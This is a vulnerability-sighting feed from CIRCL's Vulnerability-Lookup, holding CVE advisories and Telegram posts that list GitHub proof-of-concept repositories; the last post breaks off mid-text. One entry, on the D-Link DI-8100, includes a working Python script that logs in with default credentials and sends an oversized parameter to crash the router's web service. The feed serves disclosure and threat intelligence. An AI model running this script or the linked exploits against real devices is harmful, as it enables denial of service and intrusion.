https://vulnerability.circl.lu/sightings/feed 2026-09-17T11:05:32.109385+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/c4f22d2e-1ca0-4c96-a201-46c97f1e5478/export 2026-09-17T11:05:32.126227+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "c4f22d2e-1ca0-4c96-a201-46c97f1e5478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45730", "type": "seen", "source": "https://gist.github.com/Aifsoq/b8cd6dca85ec6bbe552a953b9702cb01", "content": "CVE-2025-45730: D-Link DI-8100 Stack Buffer Overflow Vulnerability\nCVE ID\nCVE-2025-45730\nVendor\nD-Link\nProduct\nD-Link DI-8100\nVulnerability Type\nStack-based Buffer Overflow\nAffected Component\n`jhttpd`\nVulnerable Function\n`jingx_asp`\nVulnerable Parameter\n`outdev`\nVulnerability Description\nA stack-based buffer overflow vulnerability exists in the `jhttpd` web\nservice of the D-Link DI-8100 router.\nThe vulnerability is located in the `jingx_asp` function. The value of\nthe `outdev` parameter is attacker-controlled and is subsequently used\nby `sprintf` to construct data in a stack-based buffer without adequate\nbounds checking.\nBy supplying an excessively long value to the `outdev` parameter, an\nattacker can trigger a stack buffer overflow.\nThe vulnerability was verified to cause the `jhttpd` web service to\ncrash, resulting in a denial-of-service condition.\nVulnerable Endpoint\nThe vulnerable parameter is accessible through the following endpoint:\n``` text\n/jingx.asp?outdev=\n```\nAn excessively long `outdev` value can trigger the stack buffer\noverflow.\nRoot Cause\nThe `jingx_asp` function obtains the value of the HTTP `outdev`\nparameter and passes attacker-controlled data to `sprintf`.\nThe relevant logic can be summarized as:\n``` c\noutdev = httpd_get_param(..., \"outdev\");\n...\nsprintf(stack_buffer, \"%s%s%s%s%s%s\", ..., outdev);\n```\nThe destination is a stack-based buffer and the attacker-controlled\ninput is not adequately restricted before being processed by `sprintf`,\nresulting in a stack buffer overflow.\nProof of Concept\nThe following proof of concept was used in the test environment to\ntrigger the vulnerability.\n``` python\nimport requests\n\nsession = requests.session()\n\nlogin_url = \"http://192.168.0.1/login.cgi\"\n\nlogin_headers = {\n \"User-Agent\": \"Mozilla/5.0\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Origin\": \"http://192.168.0.1\",\n \"Referer\": \"http://192.168.0.1/login.html\",\n \"Connection\": \"close\",\n}\n\n# Credentials used in the test environment\nlogin_data = {\n \"user\": \"admin\",\n \"password\": \"admin\"\n}\n\nsession.post(\n login_url,\n headers=login_headers,\n data=login_data\n)\n\npayload = b'a' * 0x450\n\npoc_url = f\"http://192.168.0.1/jingx.asp?outdev={payload}\"\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0\",\n \"Connection\": \"close\",\n}\n\nresponse = session.get(\n poc_url,\n headers=headers\n)\n\nprint(response.text)\n```\nVerification\nThe vulnerability was tested in a firmware emulation environment using\nFirmAE.\nAfter sending the crafted request containing the oversized `outdev`\nparameter, the router's web service crashed and the web management\ninterface became unavailable.\nThis confirms that the stack buffer overflow can cause a\ndenial-of-service condition.\nImpact\nSuccessful exploitation can crash the `jhttpd` web service, making the\nrouter's web management interface unavailable and resulting in a\ndenial-of-service condition.\nThe underlying vulnerability is a stack-based buffer overflow. Further\nmemory corruption may be possible; however, only denial of service was\nverified during testing.\nAttack Vector\nAn attacker capable of sending a crafted request to the affected web\nmanagement interface can supply an oversized value through the `outdev`\nparameter of `jingx.asp` and trigger the vulnerability.\nFirmware / Download Reference\nThe firmware used for analysis was obtained from the official D-Link\nDI-8100 support page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nAffected Version\nThe exact affected firmware version is not specified in the original\nvulnerability report.\nDiscoverer\nXinjie Zhang\nCVE\nCVE-2025-45730\nReferences\nCVE-2025-45730\nD-Link DI-8100 official support and firmware download page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nCredit\nThis vulnerability was discovered by Xinjie Zhang.", "creation_timestamp": "2026-09-05T08:44:24.361092Z"} 2026-09-05T08:44:24.361092+00:00 https://vulnerability.circl.lu/sighting/3ff17581-5a4e-4a05-bf28-9b0b2f448166/export 2026-09-17T11:05:32.128933+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "3ff17581-5a4e-4a05-bf28-9b0b2f448166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "published-proof-of-concept", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-29T00:00:15.977487Z"} 2026-08-29T00:00:15.977487+00:00 https://vulnerability.circl.lu/sighting/547afe94-8965-4db0-bdd6-d31f8c5213b3/export 2026-09-17T11:05:32.129080+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "547afe94-8965-4db0-bdd6-d31f8c5213b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "seen", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-28T00:00:53.356721Z"} 2026-08-28T00:00:53.356721+00:00 https://vulnerability.circl.lu/sighting/ea1c4796-6844-4a93-9482-1979af933caf/export 2026-09-17T11:05:32.129184+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "ea1c4796-6844-4a93-9482-1979af933caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17079", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.888218Z"} 2026-08-28T00:00:08.888218+00:00 https://vulnerability.circl.lu/sighting/d767142c-c1b6-44dd-9962-07574f1fcbf9/export 2026-09-17T11:05:32.129352+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "d767142c-c1b6-44dd-9962-07574f1fcbf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17079", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.411012Z"} 2026-08-27T20:00:07.411012+00:00 https://vulnerability.circl.lu/sighting/83b5ba28-c217-4a6e-8aac-07e2cdb0bcf1/export 2026-09-17T11:05:32.129469+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "83b5ba28-c217-4a6e-8aac-07e2cdb0bcf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45528", "type": "seen", "source": "https://gist.github.com/momenbasel/66e33613a52f6f59e49ee8ca6ea91a61", "content": "# CVE-2025-45528: Arbitrary Code Execution in Nitro PDF Pro for macOS 14.7\n\n- **CVE ID:** CVE-2025-45528\n- **Status:** RESERVED (assigned by MITRE 2025-06-17, Service Request 1843838)\n- **Affected product:** Nitro PDF Pro for macOS, version 14.7\n- **Vendor:** Nitro Software, Inc. \u2014 https://www.gonitro.com/\n- **Vulnerability class:** Arbitrary code execution via crafted file (CWE-94)\n- **Attack vector:** Local \u2014 requires the victim to open a crafted PDF\n- **Reporter:** Mo'men Basel\n\n## Summary\n\nNitro PDF Pro for macOS v14.7 allows a local attacker to execute arbitrary code\nvia a crafted PDF.\n\nThis is the description MITRE assigned CVE-2025-45528 to, verbatim, on\n17 June 2025:\n\n> An issue in Nitro Software, Inc Nitro PDF Pro for macOS v.14.7 allows a local\n> attacker to execute arbitrary code via a crafted PDF\n\n## Impact\n\nCode execution in the context of the user who opens the document. PDFs are\nroutinely received by email and from untrusted sources, and Nitro PDF Pro is\nfrequently configured as the default handler for the file type on macOS, so the\nrequired user interaction is a low barrier.\n\n## Affected versions\n\nConfirmed on Nitro PDF Pro for macOS 14.7. Later versions have not been assessed\nby the reporter.\n\n## Vendor status\n\nNo advisory for this issue was published by Nitro Software at the time of\nwriting, and the CVE record has remained unpublished since assignment.\n\nNitro Software's security team was contacted at `security@gonitro.com` on\n2026-08-27 with the details and a request for a vendor advisory so this record\ncan be published. This document exists to provide the public reference MITRE\nrequires before a reserved CVE can move to published.\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2025-03-28 | Reported to MITRE (Service Request 1843838) |\n| 2025-06-17 | CVE-2025-45528 assigned; record held reserved |\n| 2026-08-27 | Confirmed absent from the CVE List and NVD |\n| 2026-08-27 | Vendor contacted at security@gonitro.com |\n| 2026-08-27 | This advisory published as the public reference |\n\n## Verification of unpublished status\n\nQueried on 2026-08-27:\n\n```\n$ curl -s https://cveawg.mitre.org/api/cve/CVE-2025-45528\n{\"error\":\"CVE_RECORD_DNE\",\"message\":\"The cve record for the cve id does not exist.\"}\n```\n\nThe ID is also absent from the NVD API.\n\n## Credit\n\nMo'men Basel\n", "creation_timestamp": "2026-08-27T12:35:24.351421Z"} 2026-08-27T12:35:24.351421+00:00 https://vulnerability.circl.lu/sighting/09e9b701-0d4a-42a7-a624-5ff2106bf797/export 2026-09-17T11:05:32.129591+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "09e9b701-0d4a-42a7-a624-5ff2106bf797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "seen", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-27T12:00:10.580757Z"} 2026-08-27T12:00:10.580757+00:00 https://vulnerability.circl.lu/sighting/0a1c018a-9093-47fa-8827-9dfba938475a/export 2026-09-17T11:05:32.129685+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "0a1c018a-9093-47fa-8827-9dfba938475a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30226", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.209352Z"} 2026-08-16T00:00:35.209352+00:00 https://vulnerability.circl.lu/sighting/f82b015f-377a-4548-a4b3-8af637ac6c57/export 2026-09-17T11:05:32.129802+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "f82b015f-377a-4548-a4b3-8af637ac6c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30226", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.299742Z"} 2026-08-15T11:00:06.299742+00:00 https://vulnerability.circl.lu/sighting/83d51bf7-5e38-4932-9bee-977413756cd2/export 2026-09-17T11:05:32.129915+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "83d51bf7-5e38-4932-9bee-977413756cd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45931", "type": "seen", "source": "https://t.me/purp_sec/833", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE\u20112025\u201132463 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 sudo, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 --chroot (-R). \u0418\u0437\u2011\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 sudo \u043f\u0440\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u043f\u0443\u0442\u0435\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e chroot-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c /etc/nsswitch.conf \u0438\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e root.\n\n\ud83d\udd35 CVE-2025-47812 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c null-byte injection \u0432 Wing FTP Server. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 (\\0) \u0432 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root/SYSTEM \u0431\u0435\u0437 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49596 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c type confusion \u0432 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Google Chrome. 